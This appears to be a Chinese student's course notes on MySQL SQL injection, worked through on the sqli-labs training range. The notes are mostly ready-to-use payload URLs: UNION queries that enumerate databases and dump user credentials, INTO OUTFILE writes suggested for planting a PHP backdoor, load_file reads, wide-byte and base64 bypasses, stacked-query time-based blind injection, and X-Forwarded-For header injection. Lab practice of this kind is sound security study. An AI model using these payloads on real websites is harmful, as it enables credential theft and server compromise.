靶场下载地址:https://github.com/Audi-1/sqli-labs
mysql数据库分层
1.库名,表名,列名,数据库用户等
2.数据库与WEB应用相结合的架构关系
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Mysql数据库
数据库A zblog = www.zblog.com
表名
列名
数据
数据库B dede = www.dede.com
表名
列名
数据
PS:
数据库A及B都属于Mysql数据库里面的
数据库用户:管理数据库的用户
级别:管理员用户root 普通用户随机
自带数据库:mysql数据库自带的
|
mysql注入权限问题
- 普通用户 (只能靠猜数据进行安全测试)
- root用户
查询参数:
1
2
3
4
|
user()
database()
version() // 查询数据库版本
@@version_compile_os // 操作系统版本
|
跨库注入
场景: 要渗透B, B没有漏洞,但是A有注入漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
--
1.获取所有的数据库name
-- select group_concat(schema_name) from information_schema.schemata;
http://192.168.0.106/Less-2/?id=-1 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)
2. 再选取某个数据库下面的表
http://192.168.0.106/Less-2/?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')
3. 根据表查列
http://192.168.0.106/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')
4. 查数据
http://192.168.0.106/Less-2/?id=-1 union select 1,2,(select group_concat(username,password) from security.users)
-- 或者
http://192.168.0.106/Less-2/?id=-1 union select 1,2,(select concat_ws(0x7e,username,password) from security.users limit 3,1)
-- 或者
http://192.168.0.106/Less-2/?id=-1 union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users)
|
sqlLabs 1 -7 练习
MYSQL高权限注入
mysql跨库注入-已讲
mysql文件操作注入-sqlilabs less7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
-- null
http://192.168.0.106/Less-7/?id=1')) union select null,null,null --+
--win的路径的话,加2个斜杠防止转义
-- 写入(aaa可以换成后门代码,txt可以换php) (高版本,失败:需要数据库开启secure_file_priv,如果可以执行命令,可以绕过:下来自己查)
http://192.168.0.106/Less-7/?id=1')) union select 'aaa',null,null into outfile '/var/www/html/Less-7/test.txt' --+
-- 自己查资料??????????
-- 读取文件
http://192.168.0.106/Less-7/?id=1')) union select null,null,load_file('/var/www/html/Less-7/test.txt') --+
-- 路径问题:需要提前得到网站完整路径
-- 路径获取方法:
1.报错显示 inurl:php warning
2.遗留文件 phpinfo()的 server_root。 script_filename
3.漏洞爆路径 discuzz爆路径
4.其他
读取(配合load_file)网站解析配置文件
字典盲猜测fuz:
|
MYSQL过滤型注入
mysql宽字节绕过注入-sqlilabs less32
宽字节注入条件:数据库编码为GBK等非中文
原理:%5c是反斜杠/ , 而 %df%5c 是一个繁体字(我不会读),所以单引号成功逃逸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
$id=check_addslashes($_GET['id']); # 在你输入单引号的时候,自动加\转义
魔术引号: magic_quote_gpc (php.ini配置文件中), 打开之后,会转义单引号双引号 ------ 和上面的过滤函数有区别
【方法】:
%df"
%df'
http://192.168.0.106/Less-32/?id=-1%df%27 union select 1,2,3 -- +
其他方法,自己查阅:??????????
列举几个常用的URL转码的字符
空格 %20
单引号 %27
# %23
\ %5C
|
在PHP中,通过iconv()
进行编码转换时,也可能存在宽字节注入漏洞
MYSQL其他注入
加密编码注入 -sqlilabs less21 (post注入)
先加密,再填写
inurl:MQ=
base64注入攻击
程序代码中使用base64_decode($_GET('id'))
对参数进行解码
1
2
3
|
对 id' 进行base64编码后为 MSc= ,而%3d是=的url编码, 拼接为 `MCs=%3d` 后尝试;
1 and 1=1 的base64编码为 ,1 and 1=2 的base64编码为 , 分别放到id=的后门尝试, 结果如果不同,则存在漏洞
继续使用order by 继续
|
其他利用场景:
过waf, 绕过检测
堆叠查询注入
堆叠查询可以执行多条sql语句,多语句之间使用分号隔开,在第二个sql语句中构造自己要执行的语句
例如:
1
2
3
4
|
';select if(substr(user(),1,1)='r', sleep(5),1) -- +
-- 一般只会返回第一条sql的执行结果
http://192.168.0.121:8080/Less-9/?id=1%27; select if(left(user(),4)='root',sleep(5), 0); -- +
-- 所以,在第二条语句中,可以私用update更新数据或者时间盲注获取数据
|
XFF注入
x-Forwarded-For, 代表客户端真实的ip, 修改后可以伪造客户端ip
将xff头改为:127.0.0.1
访问,如果返回正常,分别设置为127.0.0.1' and 1=1#
和127.0.0.1' and 1=2#
再次访问 ,根据返回结构判断有没有漏洞
继续使用order by, 而后使用union 127.0.0.1' union select 1,2,3#
php中的getenv()
函数用于获取一个环境变量的值 ,如果不存在返回false
下次课继续…